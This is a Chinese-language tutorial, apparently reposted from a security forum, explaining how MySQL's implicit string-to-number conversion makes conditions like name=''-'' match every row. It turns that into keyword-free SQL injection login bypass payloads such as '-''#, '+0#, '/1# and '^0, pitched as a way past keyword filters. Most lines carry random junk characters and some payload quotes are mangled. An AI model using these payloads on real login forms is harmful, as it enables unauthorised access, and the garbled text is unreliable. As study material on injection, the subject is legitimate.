我们先来看这样一个场景。( w; j& @; _, P
有以下表结构: " p+ `# }+ C* r7 J' _
0 N7 f8 p# U0 b8 dmysql> desc admin;
# Z) g: K. s- c6 N+----------+--------------+------+-----+---------+----------------++ k4 W( K Z+ H7 Z: p6 l+ V& O% m
| Field | Type | Null | Key | Default | Extra |
+ F/ e/ L& k2 D, ^ Q+----------+--------------+------+-----+---------+----------------+: r L L% q" }5 R9 q" ^0 e
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
; @: i/ r8 ?, P. A8 A" R3 s| name | char(32) | NO | UNI | NULL | |. U) F+ x3 y2 |, [
| password | char(32) | NO | UNI | NULL | |
$ L" f: \! `7 k+----------+--------------+------+-----+---------+----------------+
! T% y4 e1 p4 B, n V0 @# y" f6 H3 rows in set (0.00 sec)
# G& o0 J ?; ?0 r/ c执行select * from admin;,成功返回所有记录内容。
. A! P0 v, e! a, N$ g) U, _2 A( [& h# z
r5 v. U. I$ Y8 i+----+--------+----------------------------------+' W! I2 z, y! z5 L9 ~
| id | name | password |
( |8 r1 H7 p9 l" H( f$ |& |4 o+----+--------+----------------------------------+
' _# k! W1 P; m! J7 L| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |; J, H3 H4 ~* [$ c+ a% k* b6 Y
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |! d8 P: q9 h/ `' e3 p; `
| 4 | n00b | ff80e8508d39047460921792273533a4 |5 R. F. Z5 d0 o$ S6 l
+----+--------+----------------------------------+2 O. d! s8 u! e
3 rows in set (0.00 sec)1 s3 y1 z6 a! C# d
执行select * from admin where name=”;,没有匹配到任何记录。 7 |5 R) {/ g& ?; x6 U c
$ h2 v9 [2 s5 X" R8 Q' g7 wmysql> select * from admin where name = '';
4 D% @# B& V" R' a0 ^) WEmpty set (0.00 sec)6 p; B8 C V' B' A5 p
那么我们来执行select * from admin where name = ”-”;, N S9 v+ }+ n2 `0 d: Q% u
, V x* C' x9 o$ J" R" v' c
: `8 ` c8 U C1 ~: f+----+--------+----------------------------------+: a9 x8 c" ~+ e3 e* A* f' k
| id | name | password |) R- s2 b8 H$ U$ R T$ t
+----+--------+----------------------------------+
3 K. d0 L, g+ L| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
1 C1 G- H4 A6 b6 J9 t t! V| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
# K% s; S0 E' A$ V% k| 4 | n00b | ff80e8508d39047460921792273533a4 |; U" @* g8 `. N% O% B2 P! n `
+----+--------+----------------------------------+
. `8 w( S3 Z+ J1 ^5 F Q7 e3 k3 rows in set, 3 warnings (0.00 sec)/ D- N m. B6 w# p$ ~& s$ K# F. s
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
4 i# F/ p9 E: P" K9 J3 a
5 ~ r; j1 p' g- ^5 _7 ?8 cmysql> show warnings;
7 H. I7 M6 M @" |$ _+---------+------+------------------------------------------
2 M( I: }& o N; e7 k| Level | Code | Message* Z! M% T- O- F
+---------+------+------------------------------------------
& ~; Z& h# i6 S) d| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
% f) I6 ]1 Z4 @5 _. U| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s/ q& T) r4 x2 s/ o. ~
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b3 B$ H# @8 R0 A- m& ~* g6 A& \) J; B
+---------+------+------------------------------------------3 P, U; c& f/ L1 ~' F4 F+ D$ u U; Q
3 rows in set (0.00 sec)) F! w8 e, y- Y" r/ u( q( H0 I7 [( K
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
: v1 ]8 W* Z' m; E" l" {3 @
! O7 h. B9 Q9 w6 y7 K0 e3 Nmysql> select ''-'';
; K* t/ T' t0 R$ v+ W+-------+
# O+ c& Y o# M9 B; Z8 G| ''-'' |
% y* y, ?; X; y9 q( C+-------+* E$ P8 h* b: i5 u
| 0 |
5 P$ }! G* `( v9 `5 {+-------+; m' R$ C6 _, @5 Y$ n
1 row in set (0.00 sec)
: |. E7 B7 a# p$ k! K返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ! P/ {. b9 e5 {. ?' J
& b; ?7 G {5 f! f+ r$ t
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);- Z7 g' R- ^9 H5 U" a8 @! j6 D6 g
+-----------------------------------------------------+
3 w2 ? M* x9 C" \: c| CAST((select name from admin limit 1,1) as DECIMAL) |. v- A. t" C' u5 j5 f8 S- W
+-----------------------------------------------------+. Y e" s: `6 U
| 0 |
) t. R% [ c' {- {% L: Q+ R+-----------------------------------------------------+
+ p) a( M; Q+ c8 d1 row in set, 1 warning (0.00 sec)- V( [7 _+ y; @' F
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 2 A; W" e" x4 |
$ T/ {& A% e2 D- gSQL注入场景: http://www.sqlzoo.net/hack/
5 w$ X# F3 ~( r9 c9 J" ^# `! Z3 M* F$ }* {# C. B9 y
6 C( y8 n9 k1 G. l: f
@! `0 i% l9 f! U
+ n) `* E: s5 m5 Q如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
: e! ~7 Z @2 Q2 j+ n+ \4 E
$ b+ B. h' r9 l/ E9 z那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
. n- n) g2 {' S$ E* D6 [3 \3 h6 H) U! P" L3 \' s& a) @# o
x6 Q7 |- h" H- Y
" Z1 D, k* D% `0 C5 ^ G& F; ~& F' \5 q1 ~
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
" d4 Z' h5 |- F( k" u0 c5 v9 }5 ~: x# t! i. z/ {
2 O7 T/ `* h0 A8 b A& d% z3 K) s& Z+ C4 y
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
% P# D' o b+ _' R% z7 @& f" |- ]) Y. P3 H9 C
; `; \3 p! K) b5 I! smysql> select ''/1;
4 ?* u0 G+ F- C1 _( K0 p V' c+------+
! T- q2 B' l3 m/ H: C' k| ''/1 |
u; H# Z- x& t8 z+ \% j6 N+------+
! w/ q) T8 Z, \2 F1 K% U| 0 |
9 D, b: E5 f1 F$ p5 c+------+
N$ H7 i5 n. w* X% C; B1 row in set (0.00 sec)
# U- H+ a" e" |: y' s; Q类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
% f4 O8 z* P' W
( @# q) D4 X# t1 b2 D利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。% @9 f" ]3 q9 |+ ^7 V
|
|